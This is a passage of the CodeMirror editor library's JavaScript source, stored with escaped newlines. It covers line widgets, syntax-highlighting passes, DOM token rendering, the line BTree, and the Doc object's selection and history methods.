cm;\n    this.node = node;\n  };\n  eventMixin(LineWidget);\n\n  function adjustScrollWhenAboveVisible(cm, line, diff) {\n    if (heightAtLine(line) < ((cm.curOp && cm.curOp.scrollTop) || cm.doc.scrollTop))\n      addToScrollPos(cm, null, diff);\n  }\n\n  LineWidget.prototype.clear = function() {\n    var cm = this.cm, ws = this.line.widgets, line = this.line, no = lineNo(line);\n    if (no == null || !ws) return;\n    for (var i = 0; i < ws.length; ++i) if (ws[i] == this) ws.splice(i--, 1);\n    if (!ws.length) line.widgets = null;\n    var height = widgetHeight(this);\n    runInOp(cm, function() {\n      adjustScrollWhenAboveVisible(cm, line, -height);\n      regLineChange(cm, no, \"widget\");\n      updateLineHeight(line, Math.max(0, line.height - height));\n    });\n  };\n  LineWidget.prototype.changed = function() {\n    var oldH = this.height, cm = this.cm, line = this.line;\n    this.height = null;\n    var diff = widgetHeight(this) - oldH;\n    if (!diff) return;\n    runInOp(cm, function() {\n      cm.curOp.forceUpdate = true;\n      adjustScrollWhenAboveVisible(cm, line, diff);\n      updateLineHeight(line, line.height + diff);\n    });\n  };\n\n  function widgetHeight(widget) {\n    if (widget.height != null) return widget.height;\n    if (!contains(document.body, widget.node)) {\n      var parentStyle = \"position: relative;\";\n      if (widget.coverGutter)\n        parentStyle += \"margin-left: -\" + widget.cm.getGutterElement().offsetWidth + \"px;\";\n      removeChildrenAndAdd(widget.cm.display.measure, elt(\"div\", [widget.node], null, parentStyle));\n    }\n    return widget.height = widget.node.offsetHeight;\n  }\n\n  function addLineWidget(cm, handle, node, options) {\n    var widget = new LineWidget(cm, node, options);\n    if (widget.noHScroll) cm.display.alignWidgets = true;\n    changeLine(cm.doc, handle, \"widget\", function(line) {\n      var widgets = line.widgets || (line.widgets = []);\n      if (widget.insertAt == null) widgets.push(widget);\n      else widgets.splice(Math.min(widgets.length - 1, Math.max(0, widget.insertAt)), 0, widget);\n      widget.line = line;\n      if (!lineIsHidden(cm.doc, line)) {\n        var aboveVisible = heightAtLine(line) < cm.doc.scrollTop;\n        updateLineHeight(line, line.height + widgetHeight(widget));\n        if (aboveVisible) addToScrollPos(cm, null, widget.height);\n        cm.curOp.forceUpdate = true;\n      }\n      return true;\n    });\n    return widget;\n  }\n\n  // LINE DATA STRUCTURE\n\n  // Line objects. These hold state related to a line, including\n  // highlighting info (the styles array).\n  var Line = CodeMirror.Line = function(text, markedSpans, estimateHeight) {\n    this.text = text;\n    attachMarkedSpans(this, markedSpans);\n    this.height = estimateHeight ? estimateHeight(this) : 1;\n  };\n  eventMixin(Line);\n  Line.prototype.lineNo = function() { return lineNo(this); };\n\n  // Change the content (text, markers) of a line. Automatically\n  // invalidates cached information and tries to re-estimate the\n  // line's height.\n  function updateLine(line, text, markedSpans, estimateHeight) {\n    line.text = text;\n    if (line.stateAfter) line.stateAfter = null;\n    if (line.styles) line.styles = null;\n    if (line.order != null) line.order = null;\n    detachMarkedSpans(line);\n    attachMarkedSpans(line, markedSpans);\n    var estHeight = estimateHeight ? estimateHeight(line) : 1;\n    if (estHeight != line.height) updateLineHeight(line, estHeight);\n  }\n\n  // Detach a line from the document tree and its markers.\n  function cleanUpLine(line) {\n    line.parent = null;\n    detachMarkedSpans(line);\n  }\n\n  function extractLineClasses(type, output) {\n    if (type) for (;;) {\n      var lineClass = type.match(/(?:^|\\s+)line-(background-)?(\\S+)/);\n      if (!lineClass) break;\n      type = type.slice(0, lineClass.index) + type.slice(lineClass.index + lineClass[0].length);\n      var prop = lineClass[1] ? \"bgClass\" : \"textClass\";\n      if (output[prop] == null)\n        output[prop] = lineClass[2];\n      else if (!(new RegExp(\"(?:^|\\s)\" + lineClass[2] + \"(?:$|\\s)\")).test(output[prop]))\n        output[prop] += \" \" + lineClass[2];\n    }\n    return type;\n  }\n\n  function callBlankLine(mode, state) {\n    if (mode.blankLine) return mode.blankLine(state);\n    if (!mode.innerMode) return;\n    var inner = CodeMirror.innerMode(mode, state);\n    if (inner.mode.blankLine) return inner.mode.blankLine(inner.state);\n  }\n\n  function readToken(mode, stream, state) {\n    for (var i = 0; i < 10; i++) {\n      var style = mode.token(stream, state);\n      if (stream.pos > stream.start) return style;\n    }\n    throw new Error(\"Mode \" + mode.name + \" failed to advance stream.\");\n  }\n\n  // Run the given mode's parser over a line, calling f for each token.\n  function runMode(cm, text, mode, state, f, lineClasses, forceToEnd) {\n    var flattenSpans = mode.flattenSpans;\n    if (flattenSpans == null) flattenSpans = cm.options.flattenSpans;\n    var curStart = 0, curStyle = null;\n    var stream = new StringStream(text, cm.options.tabSize), style;\n    if (text == \"\") extractLineClasses(callBlankLine(mode, state), lineClasses);\n    while (!stream.eol()) {\n      if (stream.pos > cm.options.maxHighlightLength) {\n        flattenSpans = false;\n        if (forceToEnd) processLine(cm, text, state, stream.pos);\n        stream.pos = text.length;\n        style = null;\n      } else {\n        style = extractLineClasses(readToken(mode, stream, state), lineClasses);\n      }\n      if (cm.options.addModeClass) {\n        var mName = CodeMirror.innerMode(mode, state).mode.name;\n        if (mName) style = \"m-\" + (style ? mName + \" \" + style : mName);\n      }\n      if (!flattenSpans || curStyle != style) {\n        if (curStart < stream.start) f(stream.start, curStyle);\n        curStart = stream.start; curStyle = style;\n      }\n      stream.start = stream.pos;\n    }\n    while (curStart < stream.pos) {\n      // Webkit seems to refuse to render text nodes longer than 57444 characters\n      var pos = Math.min(stream.pos, curStart + 50000);\n      f(pos, curStyle);\n      curStart = pos;\n    }\n  }\n\n  // Compute a style array (an array starting with a mode generation\n  // -- for invalidation -- followed by pairs of end positions and\n  // style strings), which is used to highlight the tokens on the\n  // line.\n  function highlightLine(cm, line, state, forceToEnd) {\n    // A styles array always starts with a number identifying the\n    // mode/overlays that it is based on (for easy invalidation).\n    var st = [cm.state.modeGen], lineClasses = {};\n    // Compute the base array of styles\n    runMode(cm, line.text, cm.doc.mode, state, function(end, style) {\n      st.push(end, style);\n    }, lineClasses, forceToEnd);\n\n    // Run overlays, adjust style array.\n    for (var o = 0; o < cm.state.overlays.length; ++o) {\n      var overlay = cm.state.overlays[o], i = 1, at = 0;\n      runMode(cm, line.text, overlay.mode, true, function(end, style) {\n        var start = i;\n        // Ensure there's a token end at the current position, and that i points at it\n        while (at < end) {\n          var i_end = st[i];\n          if (i_end > end)\n            st.splice(i, 1, end, st[i+1], i_end);\n          i += 2;\n          at = Math.min(end, i_end);\n        }\n        if (!style) return;\n        if (overlay.opaque) {\n          st.splice(start, i - start, end, \"cm-overlay \" + style);\n          i = start + 2;\n        } else {\n          for (; start < i; start += 2) {\n            var cur = st[start+1];\n            st[start+1] = (cur ? cur + \" \" : \"\") + \"cm-overlay \" + style;\n          }\n        }\n      }, lineClasses);\n    }\n\n    return {styles: st, classes: lineClasses.bgClass || lineClasses.textClass ? lineClasses : null};\n  }\n\n  function getLineStyles(cm, line) {\n    if (!line.styles || line.styles[0] != cm.state.modeGen) {\n      var result = highlightLine(cm, line, line.stateAfter = getStateBefore(cm, lineNo(line)));\n      line.styles = result.styles;\n      if (result.classes) line.styleClasses = result.classes;\n      else if (line.styleClasses) line.styleClasses = null;\n    }\n    return line.styles;\n  }\n\n  // Lightweight form of highlight -- proceed over this line and\n  // update state, but don't save a style array. Used for lines that\n  // aren't currently visible.\n  function processLine(cm, text, state, startAt) {\n    var mode = cm.doc.mode;\n    var stream = new StringStream(text, cm.options.tabSize);\n    stream.start = stream.pos = startAt || 0;\n    if (text == \"\") callBlankLine(mode, state);\n    while (!stream.eol() && stream.pos <= cm.options.maxHighlightLength) {\n      readToken(mode, stream, state);\n      stream.start = stream.pos;\n    }\n  }\n\n  // Convert a style as returned by a mode (either null, or a string\n  // containing one or more styles) to a CSS style. This is cached,\n  // and also looks for line-wide styles.\n  var styleToClassCache = {}, styleToClassCacheWithMode = {};\n  function interpretTokenStyle(style, options) {\n    if (!style || /^\\s*$/.test(style)) return null;\n    var cache = options.addModeClass ? styleToClassCacheWithMode : styleToClassCache;\n    return cache[style] ||\n      (cache[style] = style.replace(/\\S+/g, \"cm-$&\"));\n  }\n\n  // Render the DOM representation of the text of a line. Also builds\n  // up a 'line map', which points at the DOM nodes that represent\n  // specific stretches of text, and is used by the measuring code.\n  // The returned object contains the DOM node, this map, and\n  // information about line-wide styles that were set by the mode.\n  function buildLineContent(cm, lineView) {\n    // The padding-right forces the element to have a 'border', which\n    // is needed on Webkit to be able to get line-level bounding\n    // rectangles for it (in measureChar).\n    var content = elt(\"span\", null, null, webkit ? \"padding-right: .1px\" : null);\n    var builder = {pre: elt(\"pre\", [content]), content: content, col: 0, pos: 0, cm: cm};\n    lineView.measure = {};\n\n    // Iterate over the logical lines that make up this visual line.\n    for (var i = 0; i <= (lineView.rest ? lineView.rest.length : 0); i++) {\n      var line = i ? lineView.rest[i - 1] : lineView.line, order;\n      builder.pos = 0;\n      builder.addToken = buildToken;\n      // Optionally wire in some hacks into the token-rendering\n      // algorithm, to deal with browser quirks.\n      if ((ie || webkit) && cm.getOption(\"lineWrapping\"))\n        builder.addToken = buildTokenSplitSpaces(builder.addToken);\n      if (hasBadBidiRects(cm.display.measure) && (order = getOrder(line)))\n        builder.addToken = buildTokenBadBidi(builder.addToken, order);\n      builder.map = [];\n      insertLineContent(line, builder, getLineStyles(cm, line));\n      if (line.styleClasses) {\n        if (line.styleClasses.bgClass)\n          builder.bgClass = joinClasses(line.styleClasses.bgClass, builder.bgClass || \"\");\n        if (line.styleClasses.textClass)\n          builder.textClass = joinClasses(line.styleClasses.textClass, builder.textClass || \"\");\n      }\n\n      // Ensure at least a single node is present, for measuring.\n      if (builder.map.length == 0)\n        builder.map.push(0, 0, builder.content.appendChild(zeroWidthElement(cm.display.measure)));\n\n      // Store the map and a cache object for the current logical line\n      if (i == 0) {\n        lineView.measure.map = builder.map;\n        lineView.measure.cache = {};\n      } else {\n        (lineView.measure.maps || (lineView.measure.maps = [])).push(builder.map);\n        (lineView.measure.caches || (lineView.measure.caches = [])).push({});\n      }\n    }\n\n    signal(cm, \"renderLine\", cm, lineView.line, builder.pre);\n    if (builder.pre.className)\n      builder.textClass = joinClasses(builder.pre.className, builder.textClass || \"\");\n    return builder;\n  }\n\n  function defaultSpecialCharPlaceholder(ch) {\n    var token = elt(\"span\", \"\\u2022\", \"cm-invalidchar\");\n    token.title = \"\\\\u\" + ch.charCodeAt(0).toString(16);\n    return token;\n  }\n\n  // Build up the DOM representation for a single token, and add it to\n  // the line map. Takes care to render special characters separately.\n  function buildToken(builder, text, style, startStyle, endStyle, title) {\n    if (!text) return;\n    var special = builder.cm.options.specialChars, mustWrap = false;\n    if (!special.test(text)) {\n      builder.col += text.length;\n      var content = document.createTextNode(text);\n      builder.map.push(builder.pos, builder.pos + text.length, content);\n      if (ie && ie_version < 9) mustWrap = true;\n      builder.pos += text.length;\n    } else {\n      var content = document.createDocumentFragment(), pos = 0;\n      while (true) {\n        special.lastIndex = pos;\n        var m = special.exec(text);\n        var skipped = m ? m.index - pos : text.length - pos;\n        if (skipped) {\n          var txt = document.createTextNode(text.slice(pos, pos + skipped));\n          if (ie && ie_version < 9) content.appendChild(elt(\"span\", [txt]));\n          else content.appendChild(txt);\n          builder.map.push(builder.pos, builder.pos + skipped, txt);\n          builder.col += skipped;\n          builder.pos += skipped;\n        }\n        if (!m) break;\n        pos += skipped + 1;\n        if (m[0] == \"\\t\") {\n          var tabSize = builder.cm.options.tabSize, tabWidth = tabSize - builder.col % tabSize;\n          var txt = content.appendChild(elt(\"span\", spaceStr(tabWidth), \"cm-tab\"));\n          builder.col += tabWidth;\n        } else {\n          var txt = builder.cm.options.specialCharPlaceholder(m[0]);\n          if (ie && ie_version < 9) content.appendChild(elt(\"span\", [txt]));\n          else content.appendChild(txt);\n          builder.col += 1;\n        }\n        builder.map.push(builder.pos, builder.pos + 1, txt);\n        builder.pos++;\n      }\n    }\n    if (style || startStyle || endStyle || mustWrap) {\n      var fullStyle = style || \"\";\n      if (startStyle) fullStyle += startStyle;\n      if (endStyle) fullStyle += endStyle;\n      var token = elt(\"span\", [content], fullStyle);\n      if (title) token.title = title;\n      return builder.content.appendChild(token);\n    }\n    builder.content.appendChild(content);\n  }\n\n  function buildTokenSplitSpaces(inner) {\n    function split(old) {\n      var out = \" \";\n      for (var i = 0; i < old.length - 2; ++i) out += i % 2 ? \" \" : \"\\u00a0\";\n      out += \" \";\n      return out;\n    }\n    return function(builder, text, style, startStyle, endStyle, title) {\n      inner(builder, text.replace(/ {3,}/g, split), style, startStyle, endStyle, title);\n    };\n  }\n\n  // Work around nonsense dimensions being reported for stretches of\n  // right-to-left text.\n  function buildTokenBadBidi(inner, order) {\n    return function(builder, text, style, startStyle, endStyle, title) {\n      style = style ? style + \" cm-force-border\" : \"cm-force-border\";\n      var start = builder.pos, end = start + text.length;\n      for (;;) {\n        // Find the part that overlaps with the start of this text\n        for (var i = 0; i < order.length; i++) {\n          var part = order[i];\n          if (part.to > start && part.from <= start) break;\n        }\n        if (part.to >= end) return inner(builder, text, style, startStyle, endStyle, title);\n        inner(builder, text.slice(0, part.to - start), style, startStyle, null, title);\n        startStyle = null;\n        text = text.slice(part.to - start);\n        start = part.to;\n      }\n    };\n  }\n\n  function buildCollapsedSpan(builder, size, marker, ignoreWidget) {\n    var widget = !ignoreWidget && marker.widgetNode;\n    if (widget) {\n      builder.map.push(builder.pos, builder.pos + size, widget);\n      builder.content.appendChild(widget);\n    }\n    builder.pos += size;\n  }\n\n  // Outputs a number of spans to make up a line, taking highlighting\n  // and marked text into account.\n  function insertLineContent(line, builder, styles) {\n    var spans = line.markedSpans, allText = line.text, at = 0;\n    if (!spans) {\n      for (var i = 1; i < styles.length; i+=2)\n        builder.addToken(builder, allText.slice(at, at = styles[i]), interpretTokenStyle(styles[i+1], builder.cm.options));\n      return;\n    }\n\n    var len = allText.length, pos = 0, i = 1, text = \"\", style;\n    var nextChange = 0, spanStyle, spanEndStyle, spanStartStyle, title, collapsed;\n    for (;;) {\n      if (nextChange == pos) { // Update current marker set\n        spanStyle = spanEndStyle = spanStartStyle = title = \"\";\n        collapsed = null; nextChange = Infinity;\n        var foundBookmarks = [];\n        for (var j = 0; j < spans.length; ++j) {\n          var sp = spans[j], m = sp.marker;\n          if (sp.from <= pos && (sp.to == null || sp.to > pos)) {\n            if (sp.to != null && nextChange > sp.to) { nextChange = sp.to; spanEndStyle = \"\"; }\n            if (m.className) spanStyle += \" \" + m.className;\n            if (m.startStyle && sp.from == pos) spanStartStyle += \" \" + m.startStyle;\n            if (m.endStyle && sp.to == nextChange) spanEndStyle += \" \" + m.endStyle;\n            if (m.title && !title) title = m.title;\n            if (m.collapsed && (!collapsed || compareCollapsedMarkers(collapsed.marker, m) < 0))\n              collapsed = sp;\n          } else if (sp.from > pos && nextChange > sp.from) {\n            nextChange = sp.from;\n          }\n          if (m.type == \"bookmark\" && sp.from == pos && m.widgetNode) foundBookmarks.push(m);\n        }\n        if (collapsed && (collapsed.from || 0) == pos) {\n          buildCollapsedSpan(builder, (collapsed.to == null ? len + 1 : collapsed.to) - pos,\n                             collapsed.marker, collapsed.from == null);\n          if (collapsed.to == null) return;\n        }\n        if (!collapsed && foundBookmarks.length) for (var j = 0; j < foundBookmarks.length; ++j)\n          buildCollapsedSpan(builder, 0, foundBookmarks[j]);\n      }\n      if (pos >= len) break;\n\n      var upto = Math.min(len, nextChange);\n      while (true) {\n        if (text) {\n          var end = pos + text.length;\n          if (!collapsed) {\n            var tokenText = end > upto ? text.slice(0, upto - pos) : text;\n            builder.addToken(builder, tokenText, style ? style + spanStyle : spanStyle,\n                             spanStartStyle, pos + tokenText.length == nextChange ? spanEndStyle : \"\", title);\n          }\n          if (end >= upto) {text = text.slice(upto - pos); pos = upto; break;}\n          pos = end;\n          spanStartStyle = \"\";\n        }\n        text = allText.slice(at, at = styles[i++]);\n        style = interpretTokenStyle(styles[i++], builder.cm.options);\n      }\n    }\n  }\n\n  // DOCUMENT DATA STRUCTURE\n\n  // By default, updates that start and end at the beginning of a line\n  // are treated specially, in order to make the association of line\n  // widgets and marker elements with the text behave more intuitive.\n  function isWholeLineUpdate(doc, change) {\n    return change.from.ch == 0 && change.to.ch == 0 && lst(change.text) == \"\" &&\n      (!doc.cm || doc.cm.options.wholeLineUpdateBefore);\n  }\n\n  // Perform a change on the document data structure.\n  function updateDoc(doc, change, markedSpans, estimateHeight) {\n    function spansFor(n) {return markedSpans ? markedSpans[n] : null;}\n    function update(line, text, spans) {\n      updateLine(line, text, spans, estimateHeight);\n      signalLater(line, \"change\", line, change);\n    }\n\n    var from = change.from, to = change.to, text = change.text;\n    var firstLine = getLine(doc, from.line), lastLine = getLine(doc, to.line);\n    var lastText = lst(text), lastSpans = spansFor(text.length - 1), nlines = to.line - from.line;\n\n    // Adjust the line structure\n    if (isWholeLineUpdate(doc, change)) {\n      // This is a whole-line replace. Treated specially to make\n      // sure line objects move the way they are supposed to.\n      for (var i = 0, added = []; i < text.length - 1; ++i)\n        added.push(new Line(text[i], spansFor(i), estimateHeight));\n      update(lastLine, lastLine.text, lastSpans);\n      if (nlines) doc.remove(from.line, nlines);\n      if (added.length) doc.insert(from.line, added);\n    } else if (firstLine == lastLine) {\n      if (text.length == 1) {\n        update(firstLine, firstLine.text.slice(0, from.ch) + lastText + firstLine.text.slice(to.ch), lastSpans);\n      } else {\n        for (var added = [], i = 1; i < text.length - 1; ++i)\n          added.push(new Line(text[i], spansFor(i), estimateHeight));\n        added.push(new Line(lastText + firstLine.text.slice(to.ch), lastSpans, estimateHeight));\n        update(firstLine, firstLine.text.slice(0, from.ch) + text[0], spansFor(0));\n        doc.insert(from.line + 1, added);\n      }\n    } else if (text.length == 1) {\n      update(firstLine, firstLine.text.slice(0, from.ch) + text[0] + lastLine.text.slice(to.ch), spansFor(0));\n      doc.remove(from.line + 1, nlines);\n    } else {\n      update(firstLine, firstLine.text.slice(0, from.ch) + text[0], spansFor(0));\n      update(lastLine, lastText + lastLine.text.slice(to.ch), lastSpans);\n      for (var i = 1, added = []; i < text.length - 1; ++i)\n        added.push(new Line(text[i], spansFor(i), estimateHeight));\n      if (nlines > 1) doc.remove(from.line + 1, nlines - 1);\n      doc.insert(from.line + 1, added);\n    }\n\n    signalLater(doc, \"change\", doc, change);\n  }\n\n  // The document is represented as a BTree consisting of leaves, with\n  // chunk of lines in them, and branches, with up to ten leaves or\n  // other branch nodes below them. The top node is always a branch\n  // node, and is the document object itself (meaning it has\n  // additional methods and properties).\n  //\n  // All nodes have parent links. The tree is used both to go from\n  // line numbers to line objects, and to go from objects to numbers.\n  // It also indexes by height, and is used to convert between height\n  // and line object, and to find the total height of the document.\n  //\n  // See also http://marijnhaverbeke.nl/blog/codemirror-line-tree.html\n\n  function LeafChunk(lines) {\n    this.lines = lines;\n    this.parent = null;\n    for (var i = 0, height = 0; i < lines.length; ++i) {\n      lines[i].parent = this;\n      height += lines[i].height;\n    }\n    this.height = height;\n  }\n\n  LeafChunk.prototype = {\n    chunkSize: function() { return this.lines.length; },\n    // Remove the n lines at offset 'at'.\n    removeInner: function(at, n) {\n      for (var i = at, e = at + n; i < e; ++i) {\n        var line = this.lines[i];\n        this.height -= line.height;\n        cleanUpLine(line);\n        signalLater(line, \"delete\");\n      }\n      this.lines.splice(at, n);\n    },\n    // Helper used to collapse a small branch into a single leaf.\n    collapse: function(lines) {\n      lines.push.apply(lines, this.lines);\n    },\n    // Insert the given array of lines at offset 'at', count them as\n    // having the given height.\n    insertInner: function(at, lines, height) {\n      this.height += height;\n      this.lines = this.lines.slice(0, at).concat(lines).concat(this.lines.slice(at));\n      for (var i = 0; i < lines.length; ++i) lines[i].parent = this;\n    },\n    // Used to iterate over a part of the tree.\n    iterN: function(at, n, op) {\n      for (var e = at + n; at < e; ++at)\n        if (op(this.lines[at])) return true;\n    }\n  };\n\n  function BranchChunk(children) {\n    this.children = children;\n    var size = 0, height = 0;\n    for (var i = 0; i < children.length; ++i) {\n      var ch = children[i];\n      size += ch.chunkSize(); height += ch.height;\n      ch.parent = this;\n    }\n    this.size = size;\n    this.height = height;\n    this.parent = null;\n  }\n\n  BranchChunk.prototype = {\n    chunkSize: function() { return this.size; },\n    removeInner: function(at, n) {\n      this.size -= n;\n      for (var i = 0; i < this.children.length; ++i) {\n        var child = this.children[i], sz = child.chunkSize();\n        if (at < sz) {\n          var rm = Math.min(n, sz - at), oldHeight = child.height;\n          child.removeInner(at, rm);\n          this.height -= oldHeight - child.height;\n          if (sz == rm) { this.children.splice(i--, 1); child.parent = null; }\n          if ((n -= rm) == 0) break;\n          at = 0;\n        } else at -= sz;\n      }\n      // If the result is smaller than 25 lines, ensure that it is a\n      // single leaf node.\n      if (this.size - n < 25 &&\n          (this.children.length > 1 || !(this.children[0] instanceof LeafChunk))) {\n        var lines = [];\n        this.collapse(lines);\n        this.children = [new LeafChunk(lines)];\n        this.children[0].parent = this;\n      }\n    },\n    collapse: function(lines) {\n      for (var i = 0; i < this.children.length; ++i) this.children[i].collapse(lines);\n    },\n    insertInner: function(at, lines, height) {\n      this.size += lines.length;\n      this.height += height;\n      for (var i = 0; i < this.children.length; ++i) {\n        var child = this.children[i], sz = child.chunkSize();\n        if (at <= sz) {\n          child.insertInner(at, lines, height);\n          if (child.lines && child.lines.length > 50) {\n            while (child.lines.length > 50) {\n              var spilled = child.lines.splice(child.lines.length - 25, 25);\n              var newleaf = new LeafChunk(spilled);\n              child.height -= newleaf.height;\n              this.children.splice(i + 1, 0, newleaf);\n              newleaf.parent = this;\n            }\n            this.maybeSpill();\n          }\n          break;\n        }\n        at -= sz;\n      }\n    },\n    // When a node has grown, check whether it should be split.\n    maybeSpill: function() {\n      if (this.children.length <= 10) return;\n      var me = this;\n      do {\n        var spilled = me.children.splice(me.children.length - 5, 5);\n        var sibling = new BranchChunk(spilled);\n        if (!me.parent) { // Become the parent node\n          var copy = new BranchChunk(me.children);\n          copy.parent = me;\n          me.children = [copy, sibling];\n          me = copy;\n        } else {\n          me.size -= sibling.size;\n          me.height -= sibling.height;\n          var myIndex = indexOf(me.parent.children, me);\n          me.parent.children.splice(myIndex + 1, 0, sibling);\n        }\n        sibling.parent = me.parent;\n      } while (me.children.length > 10);\n      me.parent.maybeSpill();\n    },\n    iterN: function(at, n, op) {\n      for (var i = 0; i < this.children.length; ++i) {\n        var child = this.children[i], sz = child.chunkSize();\n        if (at < sz) {\n          var used = Math.min(n, sz - at);\n          if (child.iterN(at, used, op)) return true;\n          if ((n -= used) == 0) break;\n          at = 0;\n        } else at -= sz;\n      }\n    }\n  };\n\n  var nextDocId = 0;\n  var Doc = CodeMirror.Doc = function(text, mode, firstLine) {\n    if (!(this instanceof Doc)) return new Doc(text, mode, firstLine);\n    if (firstLine == null) firstLine = 0;\n\n    BranchChunk.call(this, [new LeafChunk([new Line(\"\", null)])]);\n    this.first = firstLine;\n    this.scrollTop = this.scrollLeft = 0;\n    this.cantEdit = false;\n    this.cleanGeneration = 1;\n    this.frontier = firstLine;\n    var start = Pos(firstLine, 0);\n    this.sel = simpleSelection(start);\n    this.history = new History(null);\n    this.id = ++nextDocId;\n    this.modeOption = mode;\n\n    if (typeof text == \"string\") text = splitLines(text);\n    updateDoc(this, {from: start, to: start, text: text});\n    setSelection(this, simpleSelection(start), sel_dontScroll);\n  };\n\n  Doc.prototype = createObj(BranchChunk.prototype, {\n    constructor: Doc,\n    // Iterate over the document. Supports two forms -- with only one\n    // argument, it calls that for each line in the document. With\n    // three, it iterates over the range given by the first two (with\n    // the second being non-inclusive).\n    iter: function(from, to, op) {\n      if (op) this.iterN(from - this.first, to - from, op);\n      else this.iterN(this.first, this.first + this.size, from);\n    },\n\n    // Non-public interface for adding and removing lines.\n    insert: function(at, lines) {\n      var height = 0;\n      for (var i = 0; i < lines.length; ++i) height += lines[i].height;\n      this.insertInner(at - this.first, lines, height);\n    },\n    remove: function(at, n) { this.removeInner(at - this.first, n); },\n\n    // From here, the methods are part of the public interface. Most\n    // are also available from CodeMirror (editor) instances.\n\n    getValue: function(lineSep) {\n      var lines = getLines(this, this.first, this.first + this.size);\n      if (lineSep === false) return lines;\n      return lines.join(lineSep || \"\\n\");\n    },\n    setValue: docMethodOp(function(code) {\n      var top = Pos(this.first, 0), last = this.first + this.size - 1;\n      makeChange(this, {from: top, to: Pos(last, getLine(this, last).text.length),\n                        text: splitLines(code), origin: \"setValue\"}, true);\n      setSelection(this, simpleSelection(top));\n    }),\n    replaceRange: function(code, from, to, origin) {\n      from = clipPos(this, from);\n      to = to ? clipPos(this, to) : from;\n      replaceRange(this, code, from, to, origin);\n    },\n    getRange: function(from, to, lineSep) {\n      var lines = getBetween(this, clipPos(this, from), clipPos(this, to));\n      if (lineSep === false) return lines;\n      return lines.join(lineSep || \"\\n\");\n    },\n\n    getLine: function(line) {var l = this.getLineHandle(line); return l && l.text;},\n\n    getLineHandle: function(line) {if (isLine(this, line)) return getLine(this, line);},\n    getLineNumber: function(line) {return lineNo(line);},\n\n    getLineHandleVisualStart: function(line) {\n      if (typeof line == \"number\") line = getLine(this, line);\n      return visualLine(line);\n    },\n\n    lineCount: function() {return this.size;},\n    firstLine: function() {return this.first;},\n    lastLine: function() {return this.first + this.size - 1;},\n\n    clipPos: function(pos) {return clipPos(this, pos);},\n\n    getCursor: function(start) {\n      var range = this.sel.primary(), pos;\n      if (start == null || start == \"head\") pos = range.head;\n      else if (start == \"anchor\") pos = range.anchor;\n      else if (start == \"end\" || start == \"to\" || start === false) pos = range.to();\n      else pos = range.from();\n      return pos;\n    },\n    listSelections: function() { return this.sel.ranges; },\n    somethingSelected: function() {return this.sel.somethingSelected();},\n\n    setCursor: docMethodOp(function(line, ch, options) {\n      setSimpleSelection(this, clipPos(this, typeof line == \"number\" ? Pos(line, ch || 0) : line), null, options);\n    }),\n    setSelection: docMethodOp(function(anchor, head, options) {\n      setSimpleSelection(this, clipPos(this, anchor), clipPos(this, head || anchor), options);\n    }),\n    extendSelection: docMethodOp(function(head, other, options) {\n      extendSelection(this, clipPos(this, head), other && clipPos(this, other), options);\n    }),\n    extendSelections: docMethodOp(function(heads, options) {\n      extendSelections(this, clipPosArray(this, heads, options));\n    }),\n    extendSelectionsBy: docMethodOp(function(f, options) {\n      extendSelections(this, map(this.sel.ranges, f), options);\n    }),\n    setSelections: docMethodOp(function(ranges, primary, options) {\n      if (!ranges.length) return;\n      for (var i = 0, out = []; i < ranges.length; i++)\n        out[i] = new Range(clipPos(this, ranges[i].anchor),\n                           clipPos(this, ranges[i].head));\n      if (primary == null) primary = Math.min(ranges.length - 1, this.sel.primIndex);\n      setSelection(this, normalizeSelection(out, primary), options);\n    }),\n    addSelection: docMethodOp(function(anchor, head, options) {\n      var ranges = this.sel.ranges.slice(0);\n      ranges.push(new Range(clipPos(this, anchor), clipPos(this, head || anchor)));\n      setSelection(this, normalizeSelection(ranges, ranges.length - 1), options);\n    }),\n\n    getSelection: function(lineSep) {\n      var ranges = this.sel.ranges, lines;\n      for (var i = 0; i < ranges.length; i++) {\n        var sel = getBetween(this, ranges[i].from(), ranges[i].to());\n        lines = lines ? lines.concat(sel) : sel;\n      }\n      if (lineSep === false) return lines;\n      else return lines.join(lineSep || \"\\n\");\n    },\n    getSelections: function(lineSep) {\n      var parts = [], ranges = this.sel.ranges;\n      for (var i = 0; i < ranges.length; i++) {\n        var sel = getBetween(this, ranges[i].from(), ranges[i].to());\n        if (lineSep !== false) sel = sel.join(lineSep || \"\\n\");\n        parts[i] = sel;\n      }\n      return parts;\n    },\n    replaceSelection: function(code, collapse, origin) {\n      var dup = [];\n      for (var i = 0; i < this.sel.ranges.length; i++)\n        dup[i] = code;\n      this.replaceSelections(dup, collapse, origin || \"+input\");\n    },\n    replaceSelections: docMethodOp(function(code, collapse, origin) {\n      var changes = [], sel = this.sel;\n      for (var i = 0; i < sel.ranges.length; i++) {\n        var range = sel.ranges[i];\n        changes[i] = {from: range.from(), to: range.to(), text: splitLines(code[i]), origin: origin};\n      }\n      var newSel = collapse && collapse != \"end\" && computeReplacedSel(this, changes, collapse);\n      for (var i = changes.length - 1; i >= 0; i--)\n        makeChange(this, changes[i]);\n      if (newSel) setSelectionReplaceHistory(this, newSel);\n      else if (this.cm) ensureCursorVisible(this.cm);\n    }),\n    undo: docMethodOp(function() {makeChangeFromHistory(this, \"undo\");}),\n    redo: docMethodOp(function() {makeChangeFromHistory(this, \"redo\");}),\n    undoSelection: docMethodOp(function() {makeChangeFromHistory(this, \"undo\", true);}),\n    redoSelection: docMethodOp(function() {makeChangeFromHistory(this, \"redo\", true);}),\n\n    setExtending: function(val) {this.extend = val;},\n    getExtending: function() {return this.extend;},\n\n    historySize: function() {\n      var hist = this.history, done = 0, undone = 0;\n      for (var i = 0; i < hist.done.length; i++) if (!hist.done[i].ranges) ++done;\n      for (var i = 0; i < hist.undone.length; i++) if (!hist.undone[i].ranges) ++undone;\n      return {undo: done, redo: undone};\n    },\n    clearHistory: function() {this.history = new History(this.history.maxGeneration);},\n\n    markClean: function() {\n      this.cleanGeneration = this.changeGeneration(true);\n    },\n    changeGeneration: function(forceSplit) {\n      if (forceSplit)\n        this.history.lastOp = this.history.lastSelOp = this.history.lastOrigin = null;\n      return this.history.generation;\n    },\n    isClean: function (gen) {\n      return this.history.generation == (gen || this.cleanGeneration);\n    },\n\n    getHistory: function() {\n      return {done: copyHistoryArray(this.history.done),\n              undone: copyHistoryArray(this.history.undone)};\n    },\n    setHistory: function(histData) {\n      var hist = this.history = new History(this.history.maxGeneration);\n      hist.done = copyHistoryArray(histData.done.slice(0), null, true);\n      hist.undone = copyHistoryArray(histData.undone.slice(0), null, true);\n    },\n\n    addLineClass: docMethodOp(function(handle, where, cls) {\n      return changeLine(this, handle, \"class\", function(line) {\n        var 